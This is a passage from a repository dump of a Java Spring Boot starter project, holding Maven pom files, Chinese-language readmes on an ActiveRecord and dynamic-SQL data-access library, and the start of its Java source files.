<groupId>org.springframework.cloud</groupId>\n            <artifactId>spring-cloud-context</artifactId>\n        </dependency>\n        <!--<dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-annotation</artifactId>\n            <version>3.5.9</version>\n        </dependency>-->\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-core</artifactId>\n            <version>3.5.9</version>\n        </dependency>\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n        </dependency>\n\n    </dependencies>\n\n    <developers>\n        <developer>\n            <name>wujun728</name>\n            <email>wujun728@163.com</email>\n            <url>https://github.com/wujun728/jun-spring-boot-starter/jun-db-activerecord</url>\n        </developer>\n    </developers>\n\n    <scm>\n        <url>https://github.com/wujun728/jun-spring-boot-starter/jun-db-activerecord.git</url>\n        <connection>scm:git:github.com/wujun728/jun-spring-boot-starter/jun-db-activerecord.git</connection>\n        <developerConnection>scm:git:github.com/wujun728/jun-spring-boot-starter/jun-db-activerecord.git</developerConnection>\n    </scm>\n\n    <licenses>\n        <license>\n            <name>The Apache Software License, Version 2.0</name>\n            <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n            <distribution>repo</distribution>\n        </license>\n    </licenses>\n\n    <distributionManagement>\n        <snapshotRepository>\n            <id>oss</id>\n            <url>https://s01.oss.sonatype.org/content/repositories/snapshots</url>\n        </snapshotRepository>\n        <repository>\n            <id>oss</id>\n            <url>https://s01.oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n        </repository>\n    </distributionManagement>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.1</version>\n                <configuration>\n                    <source>1.8</source>\n                    <target>1.8</target>\n                    <encoding>UTF-8</encoding>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-source-plugin</artifactId>\n                <version>2.2.1</version>\n                <executions>\n                    <execution>\n                        <id>attach-sources</id>\n                        <goals>\n                            <goal>jar-no-fork</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-javadoc-plugin</artifactId>\n                <version>3.2.0</version>\n                <configuration>\n                    <show>package</show>\n                    <tags>\n                        <tag>\n                            <name>date</name>\n                        </tag>\n                    </tags>\n                </configuration>\n                <executions>\n                    <execution>\n                        <id>attach-javadocs</id>\n                        <phase>package</phase>\n                        <goals>\n                            <goal>jar</goal>\n                        </goals>\n                        <configuration>\n                            <doclint>none</doclint>\n                        </configuration>\n                    </execution>\n                </executions>\n            </plugin>\n            <!--<plugin>\n                 <groupId>org.apache.maven.plugins</groupId>\n                 <artifactId>maven-gpg-plugin</artifactId>\n                 <version>1.0</version>\n                 <executions>\n                     <execution>\n                         <id>sign-artifacts</id>\n                         <phase>verify</phase>\n                         <goals>\n                             <goal>sign</goal>\n                         </goals>\n                     </execution>\n                 </executions>\n             </plugin> -->\n\n        </plugins>\n    </build>\n\n</project>"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/pom2.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n        <artifactId>jun_springcloud_starter</artifactId>\n        <version>1.0.25</version>\n    </parent>\n    <artifactId>jun-db-activerecord</artifactId>\n    <name>jun-db-activerecord</name>\n    <description>jun-db-activerecord tool 动态Record数据层开发工具</description>\n    <url>https://github.com/wujun728/jun-spring-boot-starter/jun-db-record</url>\n\n\n    <dependencies>\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <version>4.13.2</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>javax.servlet</groupId>\n            <artifactId>javax.servlet-api</artifactId>\n            <version>3.1.0</version>\n            <scope>provided</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-webmvc</artifactId>\n            <version>5.3.18</version>\n            <scope>provided</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid</artifactId>\n            <version>1.2.4</version>\n            <scope>provided</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>net.sf.ehcache</groupId>\n            <artifactId>ehcache-core</artifactId>\n            <version>2.6.11</version>\n            <scope>provided</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>com.zaxxer</groupId>\n            <artifactId>HikariCP</artifactId>\n            <version>4.0.3</version><!-- 5.0.0 版本不支持 JDK 8 -->\n            <scope>provided</scope>\n        </dependency>\n\n        <!-- 仅用于 ActiveRecordDemo 演示代码\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n            <version>5.1.49</version>\n            <scope>provided</scope>\n        </dependency>\n        -->\n\n        <!-- fastjson json 转换 -->\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>fastjson</artifactId>\n            <version>1.2.80</version>\n            <scope>provided</scope>\n        </dependency>\n\n        <!-- jackson json 转换 -->\n        <dependency>\n            <groupId>com.fasterxml.jackson.core</groupId>\n            <artifactId>jackson-databind</artifactId>\n            <version>2.11.0</version>\n            <scope>provided</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>io.github.wujun728</groupId>\n            <artifactId>jun-common-base</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>com.google.guava</groupId>\n            <artifactId>guava</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-annotation</artifactId>\n            <version>3.5.7</version>\n        </dependency>\n\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.1</version>\n                <configuration>\n                    <source>1.8</source>\n                    <target>1.8</target>\n                    <encoding>UTF-8</encoding>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n\n\n</project>"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/readme.md",
    "content": "# 概述\n\n- jun-db-activerecord是一个集ActiveRecord及动态sql解析的数据层操作插件，抽取了mybatis源码SQL解析模块及jfinal的db+record模块，\n- 1.1、相当于mybatis中的动态sql解析功能的抽取，主要是各种标签的XML解析，用法跟Mybatis的XML的SQL写法是一样的\n- 1.2、类似mybatis的功能，解析带标签的动态sql，生成`?`占位符的sql和`?`对应的参数列表。\n- 1.3、集成了ActiveRecord模型，完美解决弱类型的数据层组件，。\n- 支持 `<if>` `<foreach>` `<where>` `<set>` `<trim>`\n\n# 使用教程\n\n- 在自己的maven项目中引入maven坐标\n```xml\n<dependency>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun-db-activerecord</artifactId>\n    <version>${jun.version}</version>\n</dependency>\n```\n\n\n\n- 核心api -- Db + Record模式\n```\n\n1､常见用法\nDb类及其配套的Record类，提供了在Model类之外更为丰富的数据库操作功能。使用Db与Record类时，无需对数据库表进行映射，Record相当于一个通用的Model。以下为Db + Record模式的一些常见用法：\n\n// 创建name属性为James,age属性为25的record对象并添加到数据库\nRecord user = new Record().set(\"name\", \"James\").set(\"age\", 25);\nDb.save(\"user\", user);\n \n// 删除id值为25的user表中的记录\nDb.deleteById(\"user\", 25);\n \n// 查询id值为25的Record将其name属性改为James并更新到数据库\nuser = Db.findById(\"user\", 25).set(\"name\", \"James\");\nDb.update(\"user\", user);\n \n// 获取user的name属性\nString userName = user.getStr(\"name\");\n// 获取user的age属性\nInteger userAge = user.getInt(\"age\");\n \n// 查询所有年龄大于18岁的user\nList<Record> users = Db.find(\"select * from user where age > 18\");\n \n// 分页查询年龄大于18的user,当前页号为1,每页10个user\nPage<Record> userPage = Db.paginate(1, 10, \"select *\", \"from user where age > ?\", 18);\n```\n\n\n\n\n\n- 核心api -- SQL动态参数模式\n```\nDynamicSqlEngine engine = new DynamicSqlEngine();\nSqlMeta sqlMeta = engine.parse(sql, map);\nObject data = SqlEngine.executeSql(connection, apiSql.getSqlText(), sqlParam);\n```\n- 示例\n```\n@Test\npublic void testForeachIF() {\n\tDynamicSqlEngine engine = new DynamicSqlEngine();\n\tString sql = (\"select * from user where name in <foreach collection='list' index='idx' open='(' separator=',' close=')'>#{item.name}== #{idx}<if test='id!=null'>  and id = #{id}</if></foreach>\");\n\tMap<String, Object> map = new HashMap<>();\n\n\tArrayList<model.User> arrayList = new ArrayList<>();\n\tarrayList.add(new model.User(10, \"zhangsan\"));\n\tarrayList.add(new model.User(11, \"lisi\"));\n\tmap.put(\"list\", arrayList.toArray());\n\tmap.put(\"id\", 100);\n\n\tSqlMeta sqlMeta = engine.parse(sql, map);\n\tSqlEngine.executeSql(connection, sql, map);\n\tSystem.out.println(sqlMeta.getSql());\n\tsqlMeta.getJdbcParamValues().forEach(System.out::println);\n}\n\n```\n\n- 示例执行结果：\n```\nselect * from user where name in  ( ? , ? ) \nzhangsan\nlisi\n```\n\n\n\n# mica-activerecord 模块\n\n## 功能\n- `@TableName` 注解 Model 自动 Mapping 映射。\n- 基于 Druid 的可执行 Sql 打印。\n- 基于 Druid 的 `DruidSqlDialect`，分页 sql 优化，支持多种数据库。\n- Record 的 `jackson` 处理。\n- `@Tx` 注解的 JFinal ActiveRecord 事务。\n- 可自定义 `ActiveRecordPluginCustomizer` Bean，实现自定义扩展。\n- `CodeGenerator` 代码生成 `markdown` 格式数据字典。\n- `ModelUtil` 实现 Model、Record -> Bean 转换。\n\n## 文档\njfinal ActiveRecord 文档：https://jfinal.com/doc/5-1\n\n## 添加依赖\n### maven\n```xml\n<dependency>\n  <groupId>net.dreamlu</groupId>\n  <artifactId>mica-activerecord</artifactId>\n  <version>${version}</version>\n</dependency>\n```\n\n## 配置\n### ActiveRecord\n| 配置项 | 默认值 | 说明 |\n| ----- | ------ | ------ |\n| mica.activerecord.dialect | mysql | 方言，默认：mysql，注意：设置为 Druid 时采用 Ansi + druid 分页优化，支持多种数据库 |\n| mica.activerecord.auto-table-scan | true | 自定表扫描 |\n| mica.activerecord.model-package |  | 模型的包路径 |\n| mica.activerecord.base-template-path |  | sql 模板前缀 |\n| mica.activerecord.sql-templates |  | sql 模板，支持多个 |\n| mica.activerecord.transaction-level |  | 事务级别，默认：不可重复读 |\n\n### Spring database（优先）\n| 配置项 | 默认值 | 说明 |\n| ----- | ------ | ------ |\n| spring.datasource.url |  | 数据库地址 |\n| spring.datasource.username |  | 数据库用户名 |\n| spring.datasource.password |  | 数据库密码 |\n\n### Druid\n| 配置项 | 默认值 | 说明                     |\n| ----- |----|------------------------|\n| mica.druid.url |    | 数据库地址                  |\n| mica.druid.username |    | 数据库用户名                 |\n| mica.druid.password |    | 数据库密码                  |\n| mica.druid.show-sql | true | 打印可执行 sql，默认为 true     |\n| mica.druid.show-sql-patterns | [] | 打印 sql 的正则，list 列表，例如：`.*t_user.*` |\n| mica.druid.connection-init-sql |    |                        |\n| mica.druid.connection-properties |    |                        |\n| mica.druid.default-transaction-isolation |    |                        |\n| mica.druid.driver-class |    |                        |\n| mica.druid.filters |    |                        |\n| mica.druid.initial-size | 1  |                        |\n| mica.druid.keep-alive |    |                        |\n| mica.druid.log-abandoned | false |                        |\n| mica.druid.max-active | 32 |                        |\n| mica.druid.max-pool-prepared-statement-per-connection-size | -1 |                        |\n| mica.druid.max-wait | -1 |                        |\n| mica.druid.min-evictable-idle-time-millis | 1800000 |                        |\n| mica.druid.min-idle | 10 |                        |\n| mica.druid.public-key |    |                        |\n| mica.druid.remove-abandoned | false |                        |\n| mica.druid.remove-abandoned-timeout-millis | 300000 |                        |\n| mica.druid.test-on-borrow | false |                        |\n| mica.druid.test-on-return | false |                        |\n| mica.druid.test-while-idle | true |                        |\n| mica.druid.time-between-connect-error-millis | 30000 |                        |\n| mica.druid.time-between-eviction-runs-millis | 60000 |                        |\n| mica.druid.time-between-log-stats-millis |    |                        |\n| mica.druid.validation-query | select 1 |                        |\n| mica.druid.validation-query-timeout |    |                        |\n\n## 代码生成\n```java\n/**\n * 在数据库表有任何变动时，运行一下 main 方法，极速响应变化进行代码重构\n */\npublic class CodeGeneratorTest {\n\n\tpublic static void main(String[] args) {\n\t\tCodeGenerator generator = CodeGenerator.create()\n\t\t\t.url(\"jdbc:mysql://127.0.0.1:3306/blog\")\n\t\t\t.username(\"root\")\n\t\t\t.password(\"12345678\")\n\t\t\t.basePackageName(\"net.dreamlu.demo\")\n\t\t\t.outputDir(PathKit.getWebRootPath())\n\t\t\t.openDir() // 完成后打开目录窗口\n\t\t\t.build();\n\t\t// 为生成器添加类型映射，将数据库反射得到的类型映射到指定类型\n//\t\tgenerator.addTypeMapping(Date.class, LocalDateTime.class);\n\t\t// 设置数据库方言\n\t\tgenerator.setDialect(new MysqlDialect());\n\t\t// 设置是否生成链式 setter 方法\n\t\tgenerator.setGenerateChainSetter(false);\n\t\t// 添加不需要生成的表名\n\t\tgenerator.addExcludedTable(\"adv\");\n\t\t// 设置是否在 Model 中生成 dao 对象\n\t\tgenerator.setGenerateDaoInModel(true);\n\t\t// 设置需要被移除的表名前缀用于生成modelName。例如表名 \"osc_user\"，移除前缀 \"osc_\"后生成的model名为 \"model.User\"而非 OscUser\n\t\tgenerator.setRemovedTableNamePrefixes(\"t_\");\n\t\t// 生成\n\t\tgenerator.generate();\n\t}\n\n}\n```\n\n## 示例：自定义 jFinal ActiveRecord Plugin 配置\n```java\n@AutoConfiguration\npublic class MicaArpCustomConfiguration {\n\n\t@Bean\n\tpublic ActiveRecordPluginCustomizer activeRecordPluginCustomizer() {\n\t\treturn new ActiveRecordPluginCustomizer() {\n\t\t\t@Override\n\t\t\tpublic void customize(ActiveRecordPlugin arp) {\n\t\t\t\tSystem.out.println(\"----------------ActiveRecordPluginCustomizer-----------------\");\n\t\t\t\tarp.setDevMode(true);\n\t\t\t}\n\t\t};\n\t}\n\n}\n```\n\n## TODO \n- 对多数据源的支持"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/readme2.md",
    "content": "# dbapi-spring-boot-starter\n\n## 概述\n\n- dbapi-spring-boot-starter 是接口快速开发工具，可以极大的降低代码量，类似于mybatis-plus框架，不需要再编写mapper接口、resultMap、resultType、javaBean(数据库表对应的java实体)\n- 通过xml编写sql和数据库配置，可以快速开发接口，支持多数据源，支持动态sql，支持mysql/postgresql/oracle/sqlserver/doris/hive/impala/clickhouse等等\n- dbapi-spring-boot-starter 是[DBAPI开源框架](https://github.com/freakchick/db-api) 的spring boot集成\n\n## 对比mybatis优劣\n\n- 如果使用mybatis框架的话，我们要编写 mapper java接口、mapper.xml、数据库表对应的javaBean实体类。\n  当join查询的时候还要封装resultMap(xml)和java dto实体类。\n- 如果使用本框架，相当于只需要编写mapper.xml中的sql脚本，参数类型返回类型都是自动的。极大的减少代码量。\n\n## 适用场景\n\n- 接口中没有复杂逻辑，都是sql执行，尤其适用于报表类应用\n- 需要多种数据源\n\n## 官方文档\n\n[官方文档](https://starter.51dbapi.com)\n\n## 引入依赖\n\n```xml\n\n<dependency>\n    <groupId>com.gitee.freakchicken</groupId>\n    <artifactId>dbapi-spring-boot-starter</artifactId>\n    <version>1.1.0</version>\n</dependency>\n```\n\n## 代码案例\n[dbapi-spring-boot-starter-demo](https://gitee.com/freakchicken/dbapi-spring-boot-starter-demo.git)\n\n## 联系作者：\n\n### wechat：\n\n<div style=\"text-align: center\"> \n<img src=\"https://freakchicken.gitee.io/images/kafkaui/wechat.jpg\" width = \"30%\" />\n</div>\n\n### 捐赠：\n\n如果您喜欢此项目，请给捐助作者一杯咖啡\n<div style=\"text-align: center\">\n<img align=\"center\" height=\"200px\" src=\"https://freakchicken.gitee.io/images/alipay.png\"/>\n<img align=\"center\" height=\"200px\" src=\"https://freakchicken.gitee.io/images/wechatpay.png\"/>\n</div>"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/readme3.md",
    "content": "\n##声明\n\n本工具纯粹写来自用, 并没有与别人竞争的意思, 欢迎大神们给我这个渣渣提提建议, 不喜欢本项目的也不要喷我\n\n##前言\n\n我是一个曾纠结springboot还是jfinal的渣渣程序员\n\njfinal的orm超级爽, 但是controller并不是十分方便而且官方并不支持注解.\n\njfinal-ext支持注解了但是写起单元测试来十分麻烦. jfinal也不支持restful\n\noscgit上也有数个基于jfinal的restful框架,但是没有在官方支持下感觉十分奇怪,\n\n比如取PathParam要getAttr(),这样就感觉很奇怪了.\n\n最终我败在了Spring的大生态下, 虽然Spring库有点大了, 但是总是有用的.\n\nSpringBoot的简单配置实在让我非常心动, 加上SpringMVC强大又稳定, 所以我最终选择了SpringBoot\n\n但是SpringBoot自带的JPA写起一些多表查询,动态查询实在会死人, 所以我决定写一个基于JDBC类似JFinal的ORM框架(其实只算是封装好的工具吧)\n\n##x-orm简介\n\n跟JFinal一样有Model和Db+Record两种方式, 不过我在Model上加上了注解,这样配置就更加少了.\n\n在注册Record的时候实在比不上波总的JFinal..小弟才疏学浅.感觉在服务启动的性能上比JFinal差多了\n\n功能还在慢慢完善, 不废话了, 有兴趣的小伙伴来试试顺便给个星\n\n##配置\nx-orm是基于SpringBoot+Jdbc的 Maven就依赖这几个东西就好了\n```\n<parent>\n    <groupId>org.springframework.boot</groupId>\n    <artifactId>spring-boot-starter-parent</artifactId>\n    <version>1.3.6.RELEASE</version>\n  </parent>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-web</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>mysql</groupId>\n      <artifactId>mysql-connector-java</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-jdbc</artifactId>\n    </dependency>\n```\n\n\n\n配置上面就非常简单了, 在SpringBoot的服务启动类加上两个注册的语句~如果不需要Record的就不需要填了\n\n```\n@Controller\n@EnableAutoConfiguration\n@ComponentScan(basePackages = \"com.xdivo\")\npublic class SpringBootStarter {\n\n    public static void main(String[] args) throws Exception {\n        SpringApplication.run(SpringBootStarter.class, args);\n        Register.registerModel(\"com.xdivo.model\"); //扫描的包名\n        Register.registerRecord(\"online_class\"); //数据库名\n        Register.initTheadPool(100, 100, 1000); //初始化线程池 0为使用默认值\n    }\n}\n\n```\n\n定义Model\n```\n/**\n * 用户类\n * Created by liujunjie on 16-7-19.\n */\n@Entity(table = \"c_user\")\npublic class model.User extends Model<model.User> {\n\n    @PK\n    @Column(name = \"id_\")\n    private long id;\n\n    @Column(name = \"mobile_\")\n    private String mobile;\n\n    @Column(name = \"password_\")\n    private String password;\n\n    @Join(refColumn = \"id\")\n    @Column(name = \"room_id_\")\n    private Room room;\n\n    @Join(refColumn = \"id_\") //关联的refColumn的值为数据库的关联列\n    @Column(name = \"student_id_\")\n    private Student student;\n\n    public long getId() {\n        return id;\n    }\n\n    public model.User setId(long id) {\n        this.id = id;\n        return this;\n    }\n\n    public String getMobile() {\n        return mobile;\n    }\n\n    public model.User setMobile(String mobile) {\n        this.mobile = mobile;\n        return this;\n    }\n\n    public String getPassword() {\n        return password;\n    }\n\n    public model.User setPassword(String password) {\n        this.password = password;\n        return this;\n    }\n\n    public Room getRoom() {\n        return room;\n    }\n\n    public model.User setRoom(Room room) {\n        this.room = room;\n        return this;\n    }\n\n    public Student getStudent() {\n        return student;\n    }\n\n    public model.User setStudent(Student student) {\n        this.student = student;\n        return this;\n    }\n}\n```\n\n在使用的时候就跟JFinal基本一样了\n```\n//保存User对象\nnew model.User().setMobile(\"abc\")\n      .setPassword(\"123\")\n      .save();\n\n//根据主键查询User\nmodel.User user = new model.User().findById(id);\n\n//获取关联对象\n\n//异步保存到数据\nuser.asyncSave();\n\n//异步更新到数据\nuser.asyncUpdate();\n```\n\n```\n//查询record\nRecord record = Db.findById(\"c_user\", 23);\n\n//转换到Model(转换到Model后直接使用getter就能获取关联Model)\nmodel.User user = record.toModel(model.User.class);\n\n//保存Record对象\nRecord record = new Record()\n    .set(\"mobile_\", \"abc\")\n    .set(\"password_\", \"123\");\nDb.save(\"c_user\", record);\n```\n\n```\n//直接使用JdbcTemplate增加自定义查询 并转换成Model\nMap<String, Object> resultMap = jdbcTemplate.queryForMap(\"SELECT * FROM user WHERE id = ?\", 1);\nmodel.User user = new model.User().mapping(resultMap);\n\nList<Map<String, Object>> resultList = jdbcTemplate.queryForList(\"SELECT * FROM user\");\nList<model.User> users = new model.User().mappingList(resultList);\n\n```\n\n```\n/**\n     * 瀑布流分页(暂时只支持Number类型的列)\n     *\n     * @param orderColName  排序列名\n     * @param orderColValue 排序列值\n     * @param direction     方向\n     * @param params        参数\n     * @param pageSize      每页数量\n     * @return ScrollResult\n     */\n    public ScrollResult scroll(String orderColName, Number orderColValue, String direction, Map<String, Object> params, int pageSize)\n\n\n    //滚动分页方法\n    ScrollResult result = user.scroll(\"id\", id, Model.Direction.DESC, null, 2);\n\n```\n\n像事务那些东西就是基于SpringBoot了.省了一笔功夫\n\n\n\n##联系方式\n###QQ: 41369927\n###邮箱: 41369927@qq.com\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/record/ActiveRecordException.java",
    "content": "/**\n * Copyright (c) 2011-2023, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record;\n\n/**\n * ActiveRecordException\n */\npublic class ActiveRecordException extends RuntimeException {\n\t\n\tprivate static final long serialVersionUID = 342820722361408621L;\n\t\n\tpublic ActiveRecordException(String message) {\n\t\tsuper(message);\n\t}\n\t\n\tpublic ActiveRecordException(Throwable cause) {\n\t\tsuper(cause);\n\t}\n\t\n\tpublic ActiveRecordException(String message, Throwable cause) {\n\t\tsuper(message, cause);\n\t}\n}\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/record/Config.java",
    "content": "/**\n * Copyright (c) 2011-2015, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record;\n\nimport java.sql.Connection;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.sql.Statement;\n\nimport javax.sql.DataSource;\n\nimport io.github.wujun728.db.record.dialect.Dialect;\nimport io.github.wujun728.db.record.dialect.MysqlDialect;\nimport io.github.wujun728.db.record.kit.LogKit;\nimport io.github.wujun728.db.record.kit.StrKit;\n\npublic class Config {\n\tprivate final ThreadLocal<Connection> threadLocal = new ThreadLocal<Connection>();\n\t\n\tString name;\n\tDataSource dataSource;\n\t\n\tDialect dialect;\n\tboolean showSql;\n\tboolean devMode;\n\tint transactionLevel;\n\tIContainerFactory containerFactory = IContainerFactory.defaultContainerFactory;\n\tIDbProFactory dbProFactory = IDbProFactory.defaultDbProFactory;\n//\tICache cache;\n\t\n//\tSqlKit sqlKit;\n\t\n\t// For ActiveRecordPlugin only, dataSource can be null\n\tpublic Config(String name, DataSource dataSource, int transactionLevel) {\n\t\tinit(name, dataSource, new MysqlDialect(), false, false, transactionLevel, IContainerFactory.defaultContainerFactory/*, new EhCache()*/);\n\t}\n\t\n\t/**\n\t * Constructor with full parameters\n\t * @param name the name of the config\n\t * @param dataSource the dataSource\n\t * @param dialect the dialect\n\t * @param showSql the showSql\n\t * @param devMode the devMode\n\t * @param transactionLevel the transaction level\n\t * @param containerFactory the containerFactory\n\t */\n\tpublic Config(String name, DataSource dataSource, Dialect dialect, boolean showSql, boolean devMode, int transactionLevel, IContainerFactory containerFactory/*, ICache cache*/) {\n\t\tif (dataSource == null) {\n\t\t\tthrow new IllegalArgumentException(\"DataSource can not be null\");\n\t\t}\n\t\tinit(name, dataSource, dialect, showSql, devMode, transactionLevel, containerFactory/*, cache*/);\n\t}\n\t\n\tprivate void init(String name, DataSource dataSource, Dialect dialect, boolean showSql, boolean devMode, int transactionLevel, IContainerFactory containerFactory/*, ICache cache*/) {\n\t\tif (StrKit.isBlank(name)) {\n\t\t\tthrow new IllegalArgumentException(\"Config name can not be blank\");\n\t\t}\n\t\tif (dialect == null) {\n\t\t\tthrow new IllegalArgumentException(\"Dialect can not be null\");\n\t\t}\n\t\tif (containerFactory == null) {\n\t\t\tthrow new IllegalArgumentException(\"ContainerFactory can not be null\");\n\t\t}\n\t\tthis.name = name.trim();\n\t\tthis.dataSource = dataSource;\n\t\tthis.dialect = dialect;\n\t\tthis.showSql = showSql;\n\t\tthis.devMode = devMode;\n\t\t// this.transactionLevel = transactionLevel;\n\t\tthis.setTransactionLevel(transactionLevel);\n\t\tthis.containerFactory = containerFactory;\n//\t\tthis.cache = cache;\n//\t\tthis.sqlKit = new SqlKit(this.name, this.devMode);\n\t}\n\t\n\t/**\n\t * Constructor with name and dataSource\n\t */\n\tpublic Config(String name, DataSource dataSource) {\n\t\tthis(name, dataSource, new MysqlDialect());\n\t}\n\t\n\t/**\n\t * Constructor with name, dataSource and dialect\n\t */\n\tpublic Config(String name, DataSource dataSource, Dialect dialect) {\n\t\tthis(name, dataSource, dialect, false, false, DbKit.DEFAULT_TRANSACTION_LEVEL, IContainerFactory.defaultContainerFactory/*, new EhCache()*/);\n\t}\n\t\n\tprivate Config() {\n\t\t\n\t}\n\n\t/**\n\t * Constructor with full parameters\n\t * @param dataSource the dataSource, can not be null\n\t * @param dialect the dialect, set null with default value: new MysqlDialect()\n\t * @param showSql the showSql,set null with default value: false\n//\t * @param devMode the devMode, set null with default value: false\n\t * @param transactionLevel the transaction level, set null with default value: Connection.TRANSACTION_READ_COMMITTED\n//\t * @param cache the cache, set null with default value: new EhCache()\n\t */\n\tpublic Config(String name,\n\t\t\t\t  DataSource dataSource,\n\t\t\t\t  Dialect dialect,\n\t\t\t\t  Boolean showSql,\n\t\t\t\t  Integer transactionLevel) {\n\t\tif (StrKit.isBlank(name))\n\t\t\tthrow new IllegalArgumentException(\"Config name can not be blank\");\n\t\tif (dataSource == null)\n\t\t\tthrow new IllegalArgumentException(\"DataSource can not be null\");\n\n\t\tthis.name = name.trim();\n\t\tthis.dataSource = dataSource;\n\n\t\tif (dialect != null)\n\t\t\tthis.dialect = dialect;\n\t\tif (showSql != null)\n\t\t\tthis.showSql = showSql;\n\t\tif (transactionLevel != null)\n\t\t\tthis.transactionLevel = transactionLevel;\n\t}\n\t\n\tvoid setDevMode(boolean devMode) {\n\t\tthis.devMode = devMode;\n//\t\tthis.sqlKit.setDevMode(devMode);\n\t}\n\t\n\tvoid setTransactionLevel(int transactionLevel) {\n\t\tint t = transactionLevel;\n\t\tif (t != 0 && t != 1  && t != 2  && t != 4  && t != 8) {\n\t\t\tthrow new IllegalArgumentException(\"The transactionLevel only be 0, 1, 2, 4, 8\");\n\t\t}\n\t\tthis.transactionLevel = transactionLevel;\n\t}\n\t\n\t/**\n\t * Create broken config for DbKit.brokenConfig = Config.createBrokenConfig();\n\t */\n\tstatic Config createBrokenConfig() {\n\t\tConfig ret = new Config();\n\t\tret.dialect = new MysqlDialect();\n\t\tret.showSql = false;\n\t\tret.devMode = false;\n\t\tret.transactionLevel = DbKit.DEFAULT_TRANSACTION_LEVEL;\n\t\tret.containerFactory = IContainerFactory.defaultContainerFactory;\n//\t\tret.cache = new EhCache();\n\t\treturn ret;\n\t}\n\t\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\t\n//\tpublic SqlKit getSqlKit() {\n//\t\treturn sqlKit;\n//\t}\n\t\n\tpublic Dialect getDialect() {\n\t\treturn dialect;\n\t}\n\t\n//\tpublic ICache getCache() {\n//\t\treturn cache;\n//\t}\n\t\n\tpublic int getTransactionLevel() {\n\t\treturn transactionLevel;\n\t}\n\t\n\tpublic DataSource getDataSource() {\n\t\treturn dataSource;\n\t}\n\t\n\tpublic IContainerFactory getContainerFactory() {\n\t\treturn containerFactory;\n\t}\n\t\n\tpublic IDbProFactory getDbProFactory() {\n\t\treturn dbProFactory;\n\t}\n\t\n\tpublic boolean isShowSql() {\n\t\treturn showSql;\n\t}\n\t\n\tpublic boolean isDevMode() {\n\t\treturn devMode;\n\t}\n\t\n\t// --------\n\t\n\t/**\n\t * Support transaction with Transaction interceptor\n\t */\n\tpublic void setThreadLocalConnection(Connection connection) {\n\t\tthreadLocal.set(connection);\n\t}\n\t\n\tpublic void removeThreadLocalConnection() {\n\t\tthreadLocal.remove();\n\t}\n\t\n\t/**\n\t * Get Connection. Support transaction if Connection in 